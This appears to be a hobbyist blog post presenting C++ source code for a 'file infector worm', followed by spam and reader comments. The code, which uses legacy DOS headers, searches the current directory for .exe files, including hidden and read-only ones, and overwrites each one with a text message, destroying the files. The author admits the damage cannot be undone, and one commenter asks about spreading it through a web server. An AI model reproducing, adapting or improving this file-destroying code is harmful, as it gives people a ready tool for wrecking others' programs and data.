Khalsa Labs

File Infector Worm in C++

Lets Make some fun with programming.Here is the source code for the file infector worm(program that can find and infect the files). The code for File Infector Worm in c++ could be write to infect any files, either they may be exe or jpeg or any other. Please read the Precautions at last and have  fun

Source Code for File infector worm in C++

#include<iostream.h>
#include<dir.h>
#include<dos.h>
#include<fstream.h>

void main()
{
struct ffblk f;
int done;
ofstream file;

done = findfirst("*.exe", &f , FA_HIDDEN | FA_RDONLY);     // write extension of files here
while(!done)
{

cout<<f.ff_name<<endl;
file.open(f.ff_name,ios::binary);
file<<"hi i am file infector";                 //write message to be wriitten in file
file.close();

done = findnext(&f);
}
}

 

DO NOT COMPILE THIS CODE DIRECTLY
INFECTED FILES COULDN’T BE RESTORED
BEFORE COMPILE WRITE ANYTHING ELSE INSTEAD OF  ‘*.exe’  e.g ‘*.test’  (in 10th line of code)

The following two tabs change content below.
Python Developer and DIY lover.

want to comment ??

Your email address will not be published. Required fields are marked *



  • Cotomarketing says:

    Greetings! Very helpful advice in this particular article!
    It’s the little changes that will make the most significant changes. Thanks a lot for sharing!

  • onlinedatingpromocodes says:

    I was suggested this website by my cousin. I am not sure whether this post is written by
    him as no one else know such detailed about my difficulty.
    You’re amazing! Thanks!

  • louis vuitton neverfull gm says:

    I enjoyed reading all of your posts your blog contain a lot of valuable information. You have done a nice job.

  • Virus says:

    system not including dir.h

  • Kody says:

    could u populate this thro a webserver database?